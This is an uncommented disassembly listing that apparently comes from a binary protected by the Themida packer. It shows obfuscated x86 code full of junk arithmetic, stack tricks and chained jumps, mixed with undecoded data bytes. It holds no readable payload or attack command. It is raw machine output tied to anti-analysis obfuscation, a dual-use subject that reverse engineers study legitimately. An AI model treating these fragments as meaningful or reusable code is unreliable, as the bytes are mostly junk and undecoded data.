		xor	edx, 6BCC191Fh
		xor	ebp, edx
		pop	edx
		add	esi, ebp
		pop	ebp
		and	eax, esi
		mov	esi, [esp]
		jmp	loc_55A5C2
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 1376824h, 1C890000h,	3DF46824h, 24890000h, 4BA5224h
		dd 1000000h, 5A042454h,	4C3815Bh, 81000000h, 2C3h, 0E7895700h
		dd 4C781h, 2DE90000h, 81000072h, 4C4h, 4C78100h, 0E9000000h
		dd 470Eh, 65856857h, 475F2233h,	862FE9h, 8DCB8100h, 812F323Fh
		dd 0FF3FC9EBh, 5BD8016Fh, 205h,	2E09E900h, 0E2C10000h
		dd 0E9DAF706h, 50ADh
; ---------------------------------------------------------------------------


loc_553F94:				; CODE XREF: Themida_:0055FF56j
		mov	esp, [esp]
		jmp	loc_56018B
; ---------------------------------------------------------------------------
		dd 8B241C33h, 0C4832424h, 0C8AF0F04h, 60D1E9h, 24448100h
		dd 5829E804h, 575B5811h, 352AE956h, 4830000h, 565A0424h
		dd 4BEh, 0FFF20100h, 815E2434h,	4C4h, 4EA8100h,	33000000h
		dd 14312414h, 24143324h, 8924248Bh, 0F6E9240Ch,	68FFFFFBh
		dd 4BAAh, 0B6241489h, 80E6D0A4h, 0F652FFC6h, 5A012454h
		dd 30C6B450h, 710458E6h, 712CF028h, 0C8B665Ah, 2C48324h
		dd 0E9B0EB80h, 0B842h, 81E68956h, 4C6h,	4EC8300h, 8345E9h
		dd 2434FF00h, 0E924348Bh, 33C8h
; ---------------------------------------------------------------------------


loc_55403C:				; CODE XREF: Themida_:005600CBj
		push	edx
		push	esp
		pop	edx
		push	ecx
		mov	ecx, 4
		add	edx, 9B71AFh
		add	edx, ecx
		sub	edx, 9B71AFh
		pop	ecx
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		jmp	loc_558B12
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48124h, 87000000h,	248B243Ch, 48B6624h, 0BE02E924h
		dd 0E9520000h, 90A0h, 24348151h, 139909FAh, 20DAE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55408E:				; CODE XREF: Themida_:00559A8Bj
		pop	esp
		jmp	loc_558843
; ---------------------------------------------------------------------------
aI4LSpd		db '\‰4$‹,$éPD',0
		align 10h
		dd 689453BBh, 0AACDE9F6h, 55AD0000h, 866CE9h, 0C8B6600h
		dd 55685224h, 89000078h, 56522424h, 423DE9h, 40500h, 0CE680000h
		dd 89000061h, 0B5E92414h, 2C00005Fh, 68525Dh, 89000013h
		dd 0E9522404h, 7F9Bh, 0FF3C77FFh, 7CE92434h
		db 97h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5540F3:				; CODE XREF: Themida_:0055C563j
		push	7FB8h
		mov	[esp], edx
		mov	edx, 4D4A79B6h
		and	ecx, edx
		pop	edx
		xor	ecx, 4250455Eh
		jmp	loc_55B502
; ---------------------------------------------------------------------------
		dw 166h
aFxfSSgs	db 'ÅfXf)è]飙',0
		align 4
		dd 3839E981h, 0D9014E63h, 3839C181h, 1C8B4E63h,	4C48124h
		dd 87000000h, 0E95C240Ch, 2E0Dh, 0E958C201h, 0C6Bh, 0E987048Dh
		dd 5CE3h, 14A1F681h, 0E9464AB3h, 78B1h,	8F665466h, 53662404h
		dd 57676856h, 1C890000h, 19BB6624h, 357DE96Dh, 8B660000h
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55CF2D
; ---------------------------------------------------------------------------
		db 87h
		dd 248B2404h, 0A6C6E924h, 0E8000000h, 8B59172Ch, 0F0E9240Ch
		db 91h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5541A3:				; CODE XREF: Themida_:0055DE03j
		mov	edi, 222236E6h
		xor	edi, 659033Ch
		jmp	loc_55612B
; ---------------------------------------------------------------------------
		db 51h
		dd 615BE56h, 3CE90ACEh,	80000081h, 5066FFC3h, 41E922B0h
		dd 66000057h, 52240C8Bh, 0BB535A54h, 123B229Eh,	62B9BA52h
		dd 814A52BBh, 5D2A6FCAh, 42D2F73Ah, 281BEA81h, 0D33180EBh
		dd 0AD4AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5541F5:				; CODE XREF: Themida_:0055E5C5j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_55A58B
		push	edx
		mov	edx, 1139516Bh
		jmp	loc_55FECF
; ---------------------------------------------------------------------------
aK_0		db '-ª',8,'<',0
		db 29h
		dd 8AA05E8h, 0E956003Ch, 8F1h, 75468h, 41D8E900h, 66BF0000h
		dd 0E90E7B4Eh, 61ECh, 2804C483h, 8B6658C3h, 0C4812414h
		dd 2, 0FDE9C328h, 81000021h, 0C88A50F5h, 0FFEA019Dh, 815D2434h
		dd 4C4h, 24143300h, 33241431h, 42E92414h, 0BB00001Ah, 2
		dd 0B000E9h
		db 0
; ---------------------------------------------------------------------------


loc_554271:				; CODE XREF: Themida_:0055A86Dj
		sub	edx, ebp
		sub	edx, 5D976AA6h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55A085
; ---------------------------------------------------------------------------
		dd 0FF1C5709h, 148B2434h, 4C48124h, 68000000h, 2A2Eh, 89242C89h
		dd 4BE56E5h, 1000000h, 0E9515EF5h, 71EBh, 0C17A20BDh, 8FF58142h
		dd 4D20F60Fh, 88E9DDF7h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5542BF:				; CODE XREF: Themida_:0055D06Cj
		mov	ebx, 20191C95h
		xor	ebp, ebx
		jmp	loc_55D3F4
; ---------------------------------------------------------------------------
aRsK		db 'RéÞk',0
		db 0
; ---------------------------------------------------------------------------


loc_5542D1:				; CODE XREF: Themida_:0055A28Ej
		add	edi, 0FE1CCC55h
		mov	edx, edi
		pop	edi
		mov	ebx, edx
		pop	edx
		push	edi
		mov	edi, 674D198Bh
		shl	edi, 3
		sub	edi, 5610410h
		xor	edi, 6CA07697h
		not	edi
		xor	edi, 97994948h
		add	ebx, edi
		pop	edi
		add	ebx, edi
		jmp	loc_559B0D
; ---------------------------------------------------------------------------


loc_554304:				; CODE XREF: Themida_:005555D2j
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55F96F
; ---------------------------------------------------------------------------


loc_554316:				; CODE XREF: Themida_:0055AEAAj
		mov	ebx, esi
		push	edx
		push	ebx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	edi, edx
		pop	edx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_55A872
; ---------------------------------------------------------------------------


loc_55432D:				; CODE XREF: Themida_:0055A181j
		push	6C3Bh
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55A27E
; ---------------------------------------------------------------------------
		db 46h
		dd 33DFF681h, 0B681D33h, 89000038h, 4AB82404h, 0D02AA73h
		dd 33CD65D6h, 4D05D0F7h, 2D38226Dh, 0FBB4F374h,	0B056E9h
		db 0
; ---------------------------------------------------------------------------


loc_55436D:				; CODE XREF: Themida_:0055C643j
		pop	ecx
		jmp	loc_55F155
; ---------------------------------------------------------------------------
		db 8Fh
		dd 815D2404h, 591C33C5h, 5DEB0176h, 25F5BF57h, 8CE925DBh
		dd 83000077h, 0A40504C4h, 161EA01h, 1A42DD0h, 482D61EAh
		dd 5A733518h, 405h, 0FDE1E900h,	3489FFFFh, 354ABE24h, 0BB53143Eh
		dd 35613B03h, 63AECB81h, 0EB817BAAh, 1EB16288h,	2023E943h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5543CA:				; CODE XREF: Themida_:0055519Fj
		push	ebx
		mov	ebx, 0
		add	ebx, edx
		add	[ebx], esi
		pop	ebx
		pop	edx
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]


loc_5543F9:				; CODE XREF: Themida_:00556AB8j
		push	19F6h
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_558530
; ---------------------------------------------------------------------------


loc_554410:				; CODE XREF: Themida_:0055DC9Dj
		push	1
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		and	eax, esi
		mov	esi, [esp]
		push	1CDDh
		mov	[esp], ebp
		push	5DB1h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5598A2
; ---------------------------------------------------------------------------
		dw 0FE01h
		dd 516EC681h, 0BBE954F9h, 8000007Ch, 0EB28A1EDh, 3702E959h
		dd 0EF810000h, 0E10407Dh, 57241C8Bh, 0F2E9E789h, 0B20000AAh
		dd 66D0001Eh, 2CD0005Ah, 25B3531Eh, 0B450DBF6h,	6E4C0F0h
		dd 396FE9h, 0E406800h, 34890000h, 34BA5224h, 0C10F2B0Eh
		dd 0DAF705EAh, 493FB951h, 0F6E92B08h, 8B00000Ch, 0C4832414h
		dd 0E0895004h, 405h, 4C08300h, 4E56E9h,	0C3E98100h, 126DF41h
		dd 0C3C181C1h, 5826DF41h, 4EC81h, 0C890000h, 2474FF24h
		dd 48F5904h, 0B2685C24h, 8900000Bh, 0E4682414h,	89000071h
		dd 868241Ch, 0E96B604Eh, 2142h
; ---------------------------------------------------------------------------


loc_5544EC:				; CODE XREF: Themida_:00557228j
		sub	[edi+24h], esi
		jmp	loc_55D071
; ---------------------------------------------------------------------------
		dd 4C581h, 2C870000h, 24248B24h, 5452E1F7h, 9925E9h, 1C77FF00h
		dd 411589Dh, 76E99C24h,	8B00001Fh, 8B662424h, 54532404h
		dd 0ECBF575Bh, 81599610h, 2B7E78CFh, 3A28E925h,	0E6C10000h
		dd 48FEE908h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55453A:				; CODE XREF: Themida_:0055C921j
		pop	ecx
		jmp	loc_556430
; ---------------------------------------------------------------------------
		dd 0DA689204h, 89000008h, 94E9241Ch
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55454F:				; CODE XREF: Themida_:00558EEBj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	edi
		mov	edi, esp
		jmp	loc_555D2F
; ---------------------------------------------------------------------------
		dw 5166h
		dd 0F67FE99Ch, 6FB1FFFFh, 0E7E9D9F6h, 100002Dh,	2027E9D5h
		dd 0EB010000h, 311BE9h,	241CF700h, 0F65FE99Ch, 0C280FFFFh
		dd 3ACA801Bh, 1777E950h, 0C1800000h, 34E18030h,	0FE04E9C0h
		dd 37EEE9C1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5545A2:				; CODE XREF: Themida_:005590EAj
		push	dword ptr [esp]
		pop	eax
		push	edx
		push	esp
		pop	edx
		push	ebp
		mov	ebp, 4
		sub	edx, 26B07962h
		add	edx, ebp
		push	edi
		jmp	loc_559FD4
; ---------------------------------------------------------------------------


loc_5545BD:				; CODE XREF: Themida_:005545D4j
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_55E57A
; ---------------------------------------------------------------------------


loc_5545C8:				; CODE XREF: Themida_:00558DF9j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5545BD
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 89240489h, 291C68E0h, 1C890000h, 1D685024h, 5850F045h
		dd 1215C2Dh, 193680Fh, 3C890000h, 34815024h, 9B139424h
		dd 69D0E96Ch, 1C8B0000h, 4C48324h, 0B1E9C4FEh, 8900008Bh
		dd 8EE95DEFh, 8B000014h, 0BEE92424h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554627:				; CODE XREF: Themida_:00558939j
		pop	ebx
		mov	[edi+38h], dh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_553BE5
; ---------------------------------------------------------------------------


loc_554639:				; CODE XREF: Themida_:00555A03j
		neg	bl
		shr	bl, 5
		sub	bl, 0CCh
		xor	bl, 5Eh
		push	ecx
		mov	ch, bl
		mov	al, ch
		pop	ecx
		pop	ebx
		sub	bl, al
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	dl, 0Dh
		shr	dl, 7
		jmp	loc_55C568
; ---------------------------------------------------------------------------
		db 2Ch,	67h, 59h
		dd 71FC6866h, 241C8966h, 87048FB7h, 6602EC83h, 0B3241C89h
		dd 285F043Bh, 7AB9E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554682:				; CODE XREF: Themida_:00558D97j
		xor	esi, edx
		mov	edx, [esp]
		jmp	loc_5562F2
; ---------------------------------------------------------------------------
		dd 0ABA6866h, 0FFFAC3E9h, 0B0E959FFh, 1000098h,	24348BF2h
		dd 4C481h, 0C2830000h, 10F6804h, 14890000h, 2474FF24h
		dd 2434FF04h, 4C4815Ah,	8F000000h, 248B2404h, 4EC8124h
		dd 0E9000000h, 937Dh, 5C243C87h, 9C240CFEh, 0FFF508E9h
		dd 7820BAFFh, 0E95534DCh, 90A1h, 6DE9EF21h, 0C100005Bh
		dd 6E902E8h, 0FF0000B5h, 48B2434h, 4C685624h, 89000075h
		dd 4832424h, 815E0424h,	4C6h, 4C68100h,	56000000h, 42474FFh
		dd 24048F5Eh, 1EC0685Ch, 1C890000h, 43A1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55472E:				; CODE XREF: Themida_:00553CAEj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_558D6B
; ---------------------------------------------------------------------------


loc_55473A:				; CODE XREF: Themida_:0055A444j
		xchg	ecx, esi
		xchg	eax, esi
		push	554Bh
		mov	[esp], edi
		push	ebp
		push	ecx
		push	eax
		jmp	loc_55EA1A
; ---------------------------------------------------------------------------
		db 56h,	0E9h, 4
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554753:				; CODE XREF: Themida_:00553CC1j
		mov	edi, 4
		sub	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_55B3BD
; ---------------------------------------------------------------------------
		db 5Ch
		dd 24148B66h, 565B5453h, 4BEh, 5EF30100h, 4EB81h, 0BAE90000h
		dd 8B000003h, 8950243Ch, 405E0h, 33E90000h, 2D000084h
		dd 45503077h, 7705F801h, 0E9455030h, 188Ch, 5FE95356h
		dd 2900000Ch, 89E958C6h
		db 56h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5547B3:				; CODE XREF: Themida_:005550AAj
		sub	ch, 57h
		xor	dh, ch
		pop	ecx
		jmp	loc_55CE8F
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 10D7E924h, 0E9520000h, 23B9h, 0C381E389h, 4,	0E904C383h
		dd 30D5h, 8904EC83h, 94BB241Ch,	4B295B3Dh, 3D8FEB81h, 0D901295Bh
		dd 0B1A2E9h, 81E38900h,	4C3h, 0B204E900h, 0DE310000h, 0DE31F331h
		dd 0A187E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55480E:				; CODE XREF: Themida_:0055BFA7j
		add	ebp, esi
		add	ebp, 23F843BEh
		pop	esi
		pop	ebx
		jmp	loc_556E1F
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 0EC815324h, 4, 81242489h, 42404h, 575B0000h,	4BFh, 5FFB0100h
		dd 33DE68h, 243C8900h, 1F416853h, 59E90651h, 81000040h
		dd 994B07E7h, 2AB1E929h, 56510000h, 7C68E9h, 0E9F02800h
		dd 8A3Dh, 2C0835Ah, 2FD8E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554872:				; CODE XREF: Themida_:0055AB52j
		add	ecx, esi
		mov	esi, [esp]
		jmp	loc_55EC45
; ---------------------------------------------------------------------------
		dd 0B530CBB8h, 5E8C14Ah, 192EE9h
		db 0
; ---------------------------------------------------------------------------


loc_554889:				; CODE XREF: Themida_:0055FD45j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		and	eax, edi
		mov	edi, [esp]
		jmp	loc_55A174
; ---------------------------------------------------------------------------
aHXb2scs	db 'hÄXB2éCs',0
		align 2
		dw 0DBF7h
		dd 29ADC381h, 0C6813CF2h, 311C3774h, 0EE81DE01h, 311C3774h
		dd 81241C8Bh, 4C4h, 2C68100h, 0E9000000h, 3BAFh
; ---------------------------------------------------------------------------


loc_5548E4:				; CODE XREF: Themida_:0055D377j
		pop	ebp
		shr	ebp, 3
		shr	ebp, 7
		jmp	loc_558865
; ---------------------------------------------------------------------------
		dd 0E982CE80h, 0BA0Fh, 565DEF01h, 8E4D16BEh, 2EEE813Fh
		dd 8132D121h, 6C62D0C6h, 0BA52461Bh, 0AD10CDBh,	0BB53D2F7h
		dd 0CD056467h, 315BDA29h, 0BB535AD6h, 263014FAh, 1811E9h
		db 0
; ---------------------------------------------------------------------------


loc_55492D:				; CODE XREF: Themida_:0055DA85j
		mov	ebx, ebp
		pop	ebp
		shl	ebx, 3
		add	ebx, 653966D9h
		xor	ebx, 126D3D9Fh
		neg	ebx
		jmp	loc_55F8DD
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 2, 2827B753h, 241C8BF8h, 0FFFE6DE9h,	0EB815CFFh, 30773C67h
		dd 273068h, 242C8900h, 0FFFE37E9h, 0F273E9FFh, 8957FFFFh
		dd 4C781E7h, 83000000h,	0ECE904C7h, 10000ACh, 8959E9EEh
		dd 57AD0000h, 37B4B951h, 0AEE91850h, 59000022h,	51B468h
		dd 242C8900h, 0D73A86BDh, 522C0565h, 0E8293CC8h, 0C8522C2Dh
		dd 0D8295D3Ch, 0D73A8605h, 34D9E965h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5549BE:				; CODE XREF: Themida_:0055EBBCj
		mov	ebx, [esp]
		jmp	loc_55DE08
; ---------------------------------------------------------------------------
		dw 4F68h
		dd 8900003Ah, 32BD242Ch, 0F75A0066h, 4CABE9DDh,	81B80000h
		dd 124F56Ch, 0C62958C6h, 6C81EE81h, 0C68124F5h,	1580243Eh
		dd 8124048Bh, 4C4h, 5062E900h, 0D8310000h, 599EE95Bh, 11680000h
		dd 89000071h, 0E189240Ch, 64BFBF57h, 0EF8167BFh, 67BF64BBh
		dd 73F0BD55h, 0EDD14244h, 23E9D5F7h, 680000ADh,	5FD8h
		dd 0E9240489h, 47FFh
; ---------------------------------------------------------------------------


loc_554A38:				; CODE XREF: Themida_:00556A20j
		mov	ecx, eax
		pop	eax
		jmp	loc_55B0DF
; ---------------------------------------------------------------------------


loc_554A40:				; CODE XREF: Themida_:0055860Ej
		movzx	eax, al
		mov	dx, [esp]
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_5589E6
; ---------------------------------------------------------------------------
		db 55h
		dd 0AF321CBDh, 5FE95519h, 6600002Eh, 9FB652h, 0FF5A66F0h
		dd 148B2434h, 4C48324h,	0A39BE9h, 0B8ED8100h, 81094C37h
		dd 9C68FFEDh, 7AF58100h, 13467CEh, 7B84E9EEh, 0BE560000h
		dd 6B4F6AB4h, 6211F681h, 1E91FF2h, 59000027h, 0C5768h
		dd 240C8900h, 0E5D07DB5h, 5002E5C0h, 0A9A8E9h, 0C5835A00h
		dd 242C8704h, 0E924248Bh, 0FFFFF125h, 2D95CF81h, 0EFC14EB4h
		dd 7AC78102h, 834C8842h, 0C8904ECh, 49F1E924h, 0BCB10000h
		dd 0CE28B9B6h, 30C2B159h, 2434FFF1h, 1D02E9h
		db 0
; ---------------------------------------------------------------------------


loc_554AED:				; CODE XREF: Themida_:00558CC3j
		mov	eax, [esp]
		add	esp, 4
		push	2352h
		jmp	loc_556A53
; ---------------------------------------------------------------------------


loc_554AFD:				; CODE XREF: Themida_:0055C941j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_55A582
; ---------------------------------------------------------------------------
		db 0BEh, 3Ah, 60h
		dd 0E6C12F28h, 0B73AE902h, 0E9800000h, 0E9D900F2h, 3A03h
		dd 2434FF54h, 0E789575Ah, 0B4B6E955h, 0B3530000h, 8EBC041h
		dd 0A9AE9h, 74FF5300h, 5AE90424h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_554B47:				; CODE XREF: Themida_:0055A878j
		mov	[esp], ebx
		jmp	loc_55C5AD
; ---------------------------------------------------------------------------


loc_554B4F:				; CODE XREF: Themida_:0055BF65j
		xor	eax, 0FE46346Eh
		sub	edi, eax
		jmp	loc_554DA7
; ---------------------------------------------------------------------------


loc_554B5B:				; CODE XREF: Themida_:0055A83Bj
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_55756C
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 0C7h
		dd 10A7E40h, 0EF815EF7h, 248F5359h, 8124348Bh, 4C4h, 52E9C300h
		dd 8BFFFFF0h, 0C483243Ch, 240C3304h, 702DE9h, 0FDE95B00h
		dd 1000045h, 835A5FFDh,	2C8702C5h, 9665C24h, 0E99C2404h
		dd 0FFFFF029h, 2863EB80h, 0E3285BDCh, 0E6BE958h, 575E0000h
		dd 4EC81h, 1C890000h, 2BA5224h,	89773B0Ah, 0B525E9D3h
		dd 48F0000h, 0B8E95C24h
		db 67h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554BEB:				; CODE XREF: Themida_:0055B706j
		mov	eax, 4
		jmp	loc_55C840
; ---------------------------------------------------------------------------
		db 68h,	51h, 12h
		dd 4890000h, 66B46824h,	48B7843h, 4C48124h, 57000000h
		dd 2DB8E9h, 0D336800h, 3C890000h, 2414F724h, 52D7875Fh
		dd 5A2414F7h, 5A5F5257h, 39C4E781h, 0B9511218h,	8012F04Dh
		dd 46E9CF31h, 810000ACh, 0DF0DF4F2h, 81DAF709h,	247AD4EAh
		dd 5AD6296Ah, 6E2CE9h, 20A52D00h, 0D029596Bh, 6B20A505h
		dd 0F5B95159h, 296DBA2Fh, 0BE5659C8h, 64103AC8h, 348BF001h
		dd 4C48124h, 5A000000h,	2A5B68h, 240C8900h, 0C802DFB9h
		dd 3FE98163h, 831B3D7Dh, 48904ECh, 91BD5524h, 4579D516h
		dd 8107EDC1h, 866C07E5h, 0FFED8306h, 680DED81h,	0ED812A94h
		dd 0AD9569ADh, 7E35E9h,	4C48300h, 0C15FF821h, 0C83108E8h
		dd 0C731F831h, 0AC61E9h, 0C8B6600h, 73546824h, 0C890000h
		dd 402AE924h, 2A680000h, 8900006Ah, 4B82404h, 1000000h
		dd 148758C2h, 0F2E95C24h, 5CFFFFEEh, 0E99CC885h, 0FFFFEEE9h
		dd 5454592Dh, 5D00166h,	66545459h, 0FFFB5BE9h, 0EED3E9FFh
		dd 3481FFFFh, 0DC415D24h, 0F1815910h, 10DC415Dh, 5E9C15Dh
		dd 83B6E9h
		db 0
; ---------------------------------------------------------------------------


loc_554D29:				; CODE XREF: Themida_:0055D86Aj
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		push	ebx
		push	ecx
		mov	cl, dl
		mov	bh, cl
		jmp	loc_5573D0
; ---------------------------------------------------------------------------
		dw 32FFh
		dd 0FFEEA0E9h, 7DDF68FFh, 815D093Bh, 9D0C65CDh,	5464E97Ah
		dd 0C3290000h, 0E96C381h, 0E9585F1Bh, 275h, 0BB241C89h
		dd 161238B0h, 721368h, 241C8900h, 7584BF57h, 21E91253h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554D7F:				; CODE XREF: Themida_:0055E294j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55959D
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 1C8D7C39h, 8D08D625h, 92A7E946h, 0B60F0000h,	357668C8h
		dd 63E90000h
		db 96h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554DA7:				; CODE XREF: Themida_:00554B56j
		pop	eax
		and	eax, edi
		jmp	loc_55A449
; ---------------------------------------------------------------------------
		db 87h
		dd 515C2414h, 8F2052B9h, 2C815100h, 0E8697324h,	24478F71h
		dd 73244781h, 8B71E869h, 0E951240Ch, 7C04h, 0E9241C87h
		dd 21E7h, 0EC81515Ch, 4, 68243C89h, 5FF07EB1h, 83243C8Bh
		dd 0CF8104C4h, 6AA407EEh, 5F1EB850h, 34350DB7h,	0E928E965h
		dd 5CCCh, 0B252515Ah, 3E22E9D5h, 0CEE90000h, 83FFFFEDh
		dd 48904ECh, 6F366824h,	60E90000h, 58h,	0E3285AF3h, 0FE98B652h
		dd 78ADE9CEh, 74FF0000h, 48B0424h, 4C48324h, 0E924048Fh
		dd 7EB9h
; ---------------------------------------------------------------------------


loc_554E48:				; CODE XREF: Themida_:0055AC55j
		push	562h
		mov	[esp], eax
		add	dword ptr [esp], 4F7F4DEFh
		jmp	loc_55D153
; ---------------------------------------------------------------------------
		dd 8124348Bh, 4C4h, 6906E900h, 0D8310000h, 0E9E68956h
		dd 4661h, 33241C31h, 248B241Ch,	48B6624h, 6C9CE924h, 0C7810000h
		dd 0B745B3Ah, 0EF81C701h, 0B745B3Ah, 8124048Bh,	4C4h, 0BD555200h
		dd 2, 15DEA89h,	3C335AD7h, 243C3124h, 8B243C33h, 8B662424h
		dd 54512404h, 5763E9h, 0C3E95400h, 1000041h, 14875BDAh
		dd 0C4835C24h, 24048F04h, 4EADE95Ch, 0FCBA0000h, 0E9709776h
		dd 9E0Eh
; ---------------------------------------------------------------------------


loc_554EE4:				; CODE XREF: Themida_:0055A19Fj
		mov	edx, ebx
		jmp	loc_55BEF4
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F74B03EBh, 0E9EBD1DBh, 7010h
; ---------------------------------------------------------------------------


loc_554EF8:				; CODE XREF: Themida_:005603E9j
		sub	esp, 4
		mov	[esp], edx
		push	7F71250Bh
		pop	edx
		push	0B8Bh
		mov	[esp], ebp
		push	edx
		mov	edx, 70E85B15h
		mov	ebp, edx
		pop	edx
		jmp	loc_55C23C
; ---------------------------------------------------------------------------
		dw 405h
		dd 50000000h, 6A84E9h, 776BB00h, 0D3F70733h, 366BF381h
		dd 0EBC16234h, 70F38108h, 91CBDADh, 0ED815BDDh,	475445DCh
		dd 8FE8C581h, 0EB29A98Fh, 81CB295Dh, 6B220BC3h,	0C3815940h
		dd 705666D4h, 0BD55C301h, 765D546Bh, 922CE9h, 0C2815A00h
		dd 339D7BFCh, 582E9h, 0B9C6800h, 2C890000h, 1713BD24h
		dd 0E8312689h, 50242C8Bh, 405E089h, 5000000h, 4, 5C240487h
		dd 2347EF81h, 0C7294971h, 18E0E9h, 98BF5700h, 0E921072Dh
		dd 2FC4h, 24048B66h, 24FF68h, 24348900h, 0E9535E54h, 0BC4h
; ---------------------------------------------------------------------------


loc_554FC4:				; CODE XREF: Themida_:005563A5j
		mov	esi, [esp]
		jmp	loc_55AFBD
; ---------------------------------------------------------------------------
aBSQs		db 'ÆœSÔ\]Qé::',0
		dd 99B85000h, 1016D4Ah,	24048BC3h, 4C481h, 2C8B0000h, 4C48324h
		dd 1421B850h, 0EA81382Ch, 2B4C1EDFh, 0A5A5E9h, 19B35300h
		dd 5606E9h, 0BEF58000h,	668DF580h, 13B65250h, 5368B252h
		dd 0E3C082B3h, 80D3F606h, 0DC882DC3h, 5AD4005Bh, 148BF428h
		dd 4C48324h, 71FBE9h, 0AACF8100h, 81478A6Ah, 0EBFBBCF7h
		dd 5FFB017Fh, 2474FF53h, 48F5B04h, 2CD25C24h, 8EE99C24h
		dd 81FFFFEBh, 4ECh, 243C8900h, 13E9E789h, 88FFFFF0h, 0E9D188FAh
		dd 5499h
; ---------------------------------------------------------------------------


loc_555070:				; CODE XREF: Themida_:00559673j
		add	ebp, ebx
		pop	ebx
		push	esi
		mov	esi, 4
		sub	ebp, esi
		jmp	loc_55D91E
; ---------------------------------------------------------------------------
		dd 19F68h, 46DDE900h, 48F0000h,	24248B24h, 0C8AF0F66h
		dd 0E99C5166h, 0FFFFEB49h
; ---------------------------------------------------------------------------


loc_55509C:				; CODE XREF: Themida_:0055CEB7j
		shl	ch, 7
		xor	ch, 0DAh
		inc	ch
		and	ch, 0CBh
		or	ch, 0CFh
		jmp	loc_5547B3
; ---------------------------------------------------------------------------
		db 8Bh
		dd 2EE92424h, 8BFFFFEBh, 89522414h, 4C281E2h, 83000000h
		dd 0EAE904C2h, 5000045h, 4, 4BE56h, 0F0290000h,	1AF7E9h
		dd 59CA0000h, 0E9BFEA80h, 402Fh, 55E08950h, 9F351EBDh
		dd 5DD2E930h, 815D0000h, 751BA1C1h, 1F90E91Fh, 0E1890000h
		dd 4EC8152h, 89000000h,	29E9240Ch, 5E000019h, 8B24048Fh
		dd 8B662424h, 0FFE92404h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555123:				; CODE XREF: Themida_:00556DE9j
		push	ebx
		mov	ebx, 363103F8h
		xor	[esp+4], ebx
		pop	ebx
		pop	esi
		xor	esi, 363103F8h
		mov	ecx, [esp]
		jmp	loc_55D5BD
; ---------------------------------------------------------------------------
		db 83h,	0C0h, 4
		dd 5C240487h, 1FD3E993h, 0C1810000h, 4,	0E9240C87h, 3169h
; ---------------------------------------------------------------------------


loc_555158:				; CODE XREF: Themida_:0055A24Aj
		add	edi, 22404B83h
		pop	ebp
		jmp	loc_55D0BC
; ---------------------------------------------------------------------------
		dd 0C581E589h, 4, 4ED81h, 2C870000h, 90E95C24h,	890000B0h
		dd 672BE9D7h, 0EB810000h, 4233597Ch, 241C335Fh,	9BF4E9h
		dd 0E9D9F700h, 77AEh
; ---------------------------------------------------------------------------


